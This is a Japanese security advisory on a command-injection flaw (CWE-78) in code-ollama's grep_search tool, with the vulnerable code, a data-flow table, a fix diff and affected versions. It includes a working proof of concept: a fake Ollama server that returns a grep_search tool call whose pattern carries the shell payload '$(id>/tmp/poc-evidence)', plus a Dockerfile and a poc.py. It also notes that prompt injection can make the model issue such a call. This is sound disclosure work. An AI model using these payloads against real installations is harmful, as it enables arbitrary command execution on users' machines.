code-ollama: `grep_search` コマンドインジェクション:エスケープされていない `$()` シェル置換による脆弱性 (CWE-78)
## `grep_search` コマンドインジェクション:エスケープされていない `$()` シェル置換による脆弱性 (CWE-78)
### 概要
`code-ollama` に含まれる `grep_search` ツールは、攻撃者が制御する `pattern` と `path` の引数を組み合わせてシェルコマンド文字列を構築し、`child_process.exec()` を使用して実行します。この際、エスケープ処理はバックスラッシュとダブルクォーテーションのみが行われ、`$()` によるコマンド置換やバッククォートによる展開は完全にそのまま通過します。そのため、悪意のある、または侵害された Ollama サーバーは、`code-ollama` を実行しているローカルユーザーの権限で、任意の OS コマンドを注入して実行することができます。`grep_search` は読み取り専用ツールとして分類されているため、ユーザーの承認なしに自動的に Plan モードで実行され、この脆弱性はユーザーの操作を必要としない攻撃経路となります。深刻度は **高 (CVSS 7.8)** です。
### 詳細
**脆弱な箇所 — `src/utils/tools/filesystem/grep.ts:58-66`**
```ts
const escapedPattern = searchPattern
.replace(/\\/g, '\\\\')
.replace(/"/g, '\\"');
const escapedDirPath = dirPath.replace(/\\/g, '\\\\').replace(/"/g, '\\"');
const { stdout } = await execShell(
`rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`,
);
```
エスケープ処理は `\` と `"` のみが行われます。シェルメタ文字シーケンスである `$()` (およびバッククォート形式 `` ` `` による置換) は、変更されずにそのまま渡されます。結果として得られる文字列は、`execShell()` (`src/utils/tools/shell.ts:46-49`) に渡され、これは `exec` を呼び出します。`exec` は `src/utils/node.ts:1-4` で定義された `child_process.exec` の Promise 版であり、これにより `/bin/sh` が文字列全体を解釈し、埋め込まれたコマンド置換を展開します。
**データの流れ (ソース → 脆弱箇所)**
| ステップ | 場所 | 処理 |
|------|----------|--------|
| 1 | `src/utils/ollama.ts:102-103` | 外部Ollamaチャットストリームから、`chunk.message.tool_calls`がCLIに送信されます。 |
| 2 | `src/cli.ts:147-148` | 各`toolCall`が`tools.executeToolCall()`に転送されます。 |
| 3 | `src/utils/tools/dispatcher.ts:300-306` | ディスパッチャが呼び出しを正規化し、ルーティングします。 |
| 4 | `src/utils/tools/dispatcher.ts:392-393` | `stringArgs.pattern`と`stringArgs.path`が、変更なしで`grepSearch()`に渡されます。 |
| 5 | `src/utils/tools/filesystem/grep.ts:58-63` | 不完全なサニタイズ:`\`と`"`のみがエスケープされます(**根本原因**)。 |
| 6 | `src/utils/tools/filesystem/grep.ts:65` | シェルコマンド文字列が組み立てられ、`execShell()`に渡されます(**脆弱性箇所**)。 |
| 7 | `src/utils/tools/shell.ts:46-49` → `src/utils/node.ts:1-4` | `exec()`(`child_process.exec`)が、`/bin/sh`を介して文字列を実行します。 |
**承認バイパス増幅器**
`grep_search`は、`src/constants/tool.ts:14-20`の`READ_TOOL_NAMES`に登録されており、`src/utils/tools/definitions.ts:225-228`でプランモードで公開されています。 読み取り専用のツールは、ユーザーに承認を求めるプロンプトを表示せずに自動的に実行されるため、悪用には、最初の`code-ollama run`の実行以外に、ユーザーの操作は一切必要ありません。
### 実証
**前提条件**
- `code-ollama` v0.36.0がインストールされている(例:`npm install --global code-ollama@0.36.0`または、以下のDockerfileからソースをビルド)。
- `ripgrep` (`rg`)が`PATH`で利用可能であること(脆弱なコードパスでは必須)。
- 偽のOllamaサーバーを実行するために、Python 3が利用可能であること。
**ステップ1 — 自己完結型のDockerイメージを構築する(推奨)**
```sh
# レポートのルートディレクトリ(vuln-001/がある場所)から
docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .
docker run --rm vuln001-code-ollama
```
コンテナは、自動的に`poc.py`を`CMD`として実行します。 悪用が成功すると、以下のメッセージが表示されます。
```
[+] EXPLOITATION CONFIRMED
[+] Marker file : /tmp/poc-evidence
[+] Contents : 'uid=0(root) gid=0(root) groups=0(root)'
```
**ステップ2 — 手動での再現(仮想マシンなし)**
```sh
# ターミナル1 — 悪意のあるOllamaサーバーを起動
cat > /tmp/fake-ollama.py <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json, sys, threading
_req = 0
_lock = threading.Lock()
class H(BaseHTTPRequestHandler):
def log_message(self, *a): pass
def do_GET(self):
self.send_response(200); self.end_headers()
self.wfile.write(b"Ollama is running")
def do_POST(self):
global _req
l = int(self.headers.get("Content-Length", 0))
self.rfile.read(l)
with _lock:
_req += 1; n = _req
self.send_response(200)
self.send_header("Content-Type", "application/x-ndjson")
self.end_headers()
if n == 1:
chunk = {"model":"fake","message":{"role":"assistant","content":"",
"tool_calls":[{"function":{"name":"grep_search",
"arguments":{"pattern":"$(id>/tmp/poc-evidence)","path":"/tmp"}}}]},
"done":True,"done_reason":"stop"}
else:
chunk = {"model":"fake","message":{"role":"assistant","content":"Done."},
"done":True,"done_reason":"stop"}
self.wfile.write((json.dumps(chunk)+"\n").encode())
self.wfile.flush()
HTTPServer(("127.0.0.1", 11434), H).serve_forever()
PY
python3 /tmp/fake-ollama.py &
# ターミナル2 — fakeサーバーに対してcode-ollamaを実行
rm -f /tmp/poc-evidence
OLLAMA_HOST=http://127.0.0.1:11434 code-ollama run --trust fake "コードを検索"
cat /tmp/poc-evidence # 期待される結果: uid=... gid=... groups=...
```
**ペイロードの説明**
`grep.ts:58-63`におけるサニタイズ処理において、`pattern`引数の値`$(id>/tmp/poc-evidence)`は、`\`と`"`のみが削除されるため、そのまま残ります。その結果、実行されるシェルコマンドは以下のようになります。
```
rg --line-number --no-heading --smart-case "$(id>/tmp/poc-evidence)" "/tmp"
```
`child_process.exec`を介して`/bin/sh`で実行される際、シェルはまず`$()`を展開し、`id`コマンドを実行してその出力を`/tmp/poc-evidence`に書き込みます。その後、`rg`コマンドが開始されます。
**対策**
シェル文字列の構築を、シェルを完全に回避するための引数ベクトル呼び出しに置き換えます。
```diff
-import { execShell } from '../shell';
+import { execFile } from '../../node';
+
+const RG_EXEC_OPTIONS = { timeout: 30_000, maxBuffer: 1024 * 1024 };
- const escapedPattern = searchPattern
- .replace(/\\/g, '\\\\')
- .replace(/"/g, '\\"');
- const escapedDirPath = dirPath
- .replace(/\\/g, '\\\\')
- .replace(/"/g, '\\"');
-
- const { stdout } = await execShell(
- `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`,
- );
+ const { stdout } = await execFile(
+ 'rg',
+ ['--line-number', '--no-heading', '--smart-case', '--', searchPattern, dirPath],
+ RG_EXEC_OPTIONS,
+ );
```
### 影響
これは、**OSコマンドインジェクション**の脆弱性(CWE-78)です。Ollamaサーバーの応答を制御できるすべての攻撃者(悪意のあるモデルバックエンド、モデルを操作して作成された`grep_search`ツール呼び出しを実行させるプロンプトインジェクションペイロード、または暗号化されていない`OLLAMA_HOST`接続に対する中間者攻撃を実行するネットワーク攻撃者など)は、`code-ollama`を実行しているOSユーザーとして任意のコマンドを実行できます。
影響範囲:
- **機密性(高)**:攻撃者は、ユーザーがアクセスできるすべてのファイルを読み取ったり、ソースコード、秘密情報、SSHキーなどを盗み出す可能性があります。
- **完全性(高)**:攻撃者は、ファイルを変更または削除したり、バックドアを仕込んだり、リポジトリの履歴を改ざんしたりする可能性があります。
- **可用性(高)**:攻撃者は、プロセスを終了させたり、データを破損させたり、システムリソースを消費したりする可能性があります。
`READ_TOOL_NAMES` を経由した承認回避、またはプランモードでの自動実行により、`code-ollama run` が実行された後、ユーザーの操作なしに攻撃が完了します。信頼されたディレクトリで `code-ollama` を実行する開発者、CI パイプライン、および IDE に統合されたユーザーは、すべてリスクにさらされています。
### 再現に必要なファイル
#### `Dockerfile`
```dockerfile
# VULN-001: grep_search コマンドインジェクション — CWE-78
# ターゲット: ai-action/code-ollama v0.36.0
# 実証用 Docker イメージ: リポジトリをビルドし、poc.py を実行します。
#
# ビルド (プロジェクトのルートディレクトリから):
# docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .
# 実行:
# docker run --rm vuln001-code-ollama
FROM node:24-slim
# ripgrep — 脆弱なコードパス内の grepSearch() で必要
# python3 — poc.py のオーケストレーションスクリプトを実行
RUN apt-get update && apt-get install -y \
ripgrep \
python3 \
--no-install-recommends \
&& rm -rf /var/lib/apt/lists/*
# ── Node の依存関係をインストール ──────────────────────────────────────────────────
WORKDIR /app
COPY repo/package.json repo/package-lock.json ./
# すべての依存関係をインストール (vite のビルドや tsx のフォールバックに必要な devDeps)
RUN npm ci
# ── ソースコードをコピーしてビルド ──────────────────────────────────────────────────────
COPY repo/ ./
# /app/dist/cli.js を生成 — バンドルされた CLI のエントリーポイント
RUN npm run build
# ── 実行時の設定 ─────────────────────────────────────────────────────────────
# code-ollama は設定ファイルを ~/.code-ollama に書き込みます。mkdir の競合を避けるため、事前に作成します。
RUN mkdir -p /root/.code-ollama /workspace
COPY vuln-001/poc.py /poc.py
WORKDIR /workspace
CMD ["python3", "/poc.py"]
```
#### `poc.py`
```python
#!/usr/bin/env python3
"""
概念実証:VULN-001 — grep_search コマンドインジェクション(CWE-78)
リポジトリ:ai-action/code-ollama v0.36.0
脆弱箇所:src/utils/tools/filesystem/grep.ts:65
execShell(`rg ... "${escapedPattern}" "${escapedDirPath}"`)
攻撃経路:悪意のあるOllamaサーバー -> tool_call.arguments.pattern
-> grepSearch() -> execShell() -> child_process.exec()
`\`と`"`のみがエスケープされます。`$()`によるコマンド置換は無効化されません。
このPoCは、悪意のあるOllamaサーバーが、code-ollamaを実行しているローカルユーザーとして実行される任意のシェルコマンドを注入できることを示しています。
使用方法(Docker内、CMDによって自動的に呼び出されます):
python3 /poc.py
期待される結果:
/tmp/poc-evidenceが作成され、その内容はINJECTED_CMDの出力と一致します。
"""
import json
import os
import subprocess
import sys
import threading
import time
from http.server import BaseHTTPRequestHandler, HTTPServer
# ---------------------------------------------------------------------------
# 設定
# ---------------------------------------------------------------------------
FAKE_SERVER_HOST = "127.0.0.1"
FAKE_SERVER_PORT = 11434
# 注入されたコマンドによって書き込まれるマーカーファイル — 脆弱性の証拠として使用されます
MARKER_FILE = "/tmp/poc-evidence"
# ペイロード:code-ollamaのサニタイズ処理(`\`と`"`のみエスケープされるため、`$()`はそのまま)によってエスケープされない`$()`によるコマンド置換。
# `id`コマンドの出力をMARKER_FILEに書き込み、実行中のUID/GIDを記録します。
INJECTED_CMD = f"$(id>{MARKER_FILE})"
# grep_searchのパス引数(有効な非空文字列である必要があります)
TARGET_PATH = "/workspace"
# 偽のサーバーが受信したPOSTリクエストの数を追跡します
_request_count = 0
_request_lock = threading.Lock()
# ---------------------------------------------------------------------------
# 偽のOllama HTTPサーバー
# ---------------------------------------------------------------------------
```
class FakeOllamaHandler(BaseHTTPRequestHandler):
"""PoC用の、Ollama互換の簡易HTTPサーバー。
最初のPOST /api/chatへのリクエスト -> インジェクトされたパターンを含むgrep_search tool_callを返します。
その後のPOSTリクエスト -> コード・オラマのツールループを終了させるための、プレーンな"done"レスポンスを返します。
"""
def log_message(self, fmt, *args): # デフォルトのリクエストログを抑制
pass
# ------------------------------------------------------------------
# GET — ヘルスチェック (code-ollama / ollama-npmはGET /を呼び出す可能性があります)
# ------------------------------------------------------------------
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"Ollama is running")
# ------------------------------------------------------------------
# POST — チャットストリーミングエンドポイント
# ------------------------------------------------------------------
def do_POST(self):
global _request_count
# クライアント側でのbroken-pipeエラーを避けるため、リクエストボディを読み込みます。
content_length = int(self.headers.get("Content-Length", 0))
_ = self.rfile.read(content_length)
with _request_lock:
_request_count += 1
current_request = _request_count
self.send_response(200)
self.send_header("Content-Type", "application/x-ndjson")
self.end_headers()
if current_request == 1:
# ---------------------------------------------------------------
# 最初の要求:悪意のあるgrep_searchツールの呼び出しを注入する
# `arguments`オブジェクトは、ollama-npm
# ライブラリを通じてそのまま渡され、grep.tsのgrepSearch(pattern, path)に到達します。
# ---------------------------------------------------------------
print(f"[fake-ollama] リクエスト#{current_request}: 悪意のあるgrep_searchツール呼び出しを送信します")
sys.stdout.flush()
chunk = {
"model": "fake",
"message": {
"role": "assistant",
"content": "",
"tool_calls": [{
"function": {
"name": "grep_search",
# patternとpathは、必須の文字列引数であり、
# dispatcher.tsのvalidateArgs()によって検証されます。
"arguments": {
"pattern": INJECTED_CMD,
"path": TARGET_PATH,
},
}
}],
},
"done": True,
"done_reason": "stop",
}
else:
# ---------------------------------------------------------------
# その後の要求:ツールループを終了させるためのプレーンテキストを送信する。
# tool_callsがないため、nextMessagesはnullのままになり、
# processRunStreamはhasUncalledToolIntentのチェック後に終了します("Done."との一致はありません)。
# そのため、CLIは正常に終了します。
# ---------------------------------------------------------------
print(f"[fake-ollama] リクエスト#{current_request}: 終了/停止の応答を送信します")
sys.stdout.flush()
```json
{
"model": "fake",
"message": {
"role": "assistant",
"content": "完了しました。"
},
"done": true,
"done_reason": "stop"
}
```
`self.wfile.write((json.dumps(chunk) + "\n").encode())`
`self.wfile.flush()`
def start_fake_server():
"""ダエモンスレッドで、偽のOllamaサーバーを開始します。"""
server = HTTPServer((FAKE_SERVER_HOST, FAKE_SERVER_PORT), FakeOllamaHandler)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
return server
# ---------------------------------------------------------------------------
# メインのオーケストレーション
# ---------------------------------------------------------------------------
def main():
print("=" * 65)
print("VULN-001: grep_search コマンドインジェクションのPoC (CWE-78)")
print("対象: ai-action/code-ollama v0.36.0")
print("脆弱箇所: src/utils/tools/filesystem/grep.ts:65")
print("=" * 65)
print()
print(f"[*] ペイロード: {INJECTED_CMD}")
print(f"[*] マーカー: {MARKER_FILE}")
print()
# 以前の実行からの残りのマーカーファイルを削除します。
if os.path.exists(MARKER_FILE):
os.unlink(MARKER_FILE)
print(f"[*] 古いマーカーファイルを削除しました: {MARKER_FILE}")
# -----------------------------------------------------------------------
# 1. 偽のOllamaサーバーを開始します。
# -----------------------------------------------------------------------
print(f"[*] 偽のOllamaサーバーを {FAKE_SERVER_HOST}:{FAKE_SERVER_PORT} で開始します...")
start_fake_server()
time.sleep(0.4) # サーバーソケットがバインドされるまで待ちます。
```
# -----------------------------------------------------------------------
# 2. code-ollamaを実行し、OLLAMA_HOSTを偽のサーバーを指すように設定する
# --trustは、インタラクティブなディレクトリ信頼性のプロンプトをスキップする(src/cli.ts:214)
# -----------------------------------------------------------------------
env = os.environ.copy()
env["OLLAMA_HOST"] = f"http://{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT}"
# Dockerfileで使用する、`npm run build`によって生成されたコンパイル済みのCLIバンドル
cmd = [
"node", "/app/dist/cli.js",
"run", "--trust", "fake", "search the code",
]
print(f"[*] 実行するコマンド: {' '.join(cmd)}")
print(f"[*] OLLAMA_HOST={env['OLLAMA_HOST']}")
print()
try:
result = subprocess.run(
cmd,
env=env,
stdin=subprocess.DEVNULL, # TTYやインタラクティブな入力は不要
capture_output=True,
text=True,
timeout=60,
cwd="/workspace",
)
except subprocess.TimeoutExpired:
print("[-] code-ollamaのサブプロセスが60秒後にタイムアウトしました")
sys.exit(1)
print("--- code-ollamaの標準出力 ---")
print(result.stdout[:3000] if result.stdout else "(空)")
print("--- code-ollamaのエラー出力 ---")
print(result.stderr[:3000] if result.stderr else "(空)")
print(f"--- 終了コード: {result.returncode} ---")
print()
```
```
# -----------------------------------------------------------------------
# 3. 脆弱性の検証: マーカーファイルの確認
# -----------------------------------------------------------------------
if os.path.exists(MARKER_FILE):
evidence = open(MARKER_FILE).read().strip()
print("[+] ============================================================")
print("[+] 脆弱性が確認されました")
print("[+] ============================================================")
print(f"[+] マーカーファイル: {MARKER_FILE}")
print(f"[+] 内容: {evidence!r}")
print("[+] 説明: grep_search パターンの内部にある $() によるコマンド置換が、")
print("[+] code-ollama のサニタイザーによってエスケープされていませんでした (grep.ts:58-63 では \\ と \" のみを除去されます)。")
print("[+] execShell() は生の文字列を child_process.exec() に渡しました。")
print("[+] これにより、/bin/sh を通じて、注入された")
print("[+] コマンドが現在のユーザーとして実行されました。")
print("[+] ============================================================")
sys.exit(0)
else:
print("[-] ============================================================")
print("[-] 脆弱性の検証に失敗しました")
print(f"[-] 期待されるマーカーファイルが見つかりませんでした: {MARKER_FILE}")
print("[-] 考えられる原因:")
print("[-] - ollama-npm が tool_call.arguments を異なる方法で解析した")
print("[-] - パターンが execShell() に到達する前にサニタイズされた")
print("[-] - ripgrep がインストールされていないため、代替パスが使用された")
print("[-] - 使用されているシェルが $() による置換をサポートしていない")
print("[-] ============================================================")
sys.exit(1)
if __name__ == "__main__":
main()
```
影響を受けるパッケージ:
- npm (JavaScript) code-ollama: 影響を受けるバージョンは 0.36.0 以下、0.36.1 で修正済み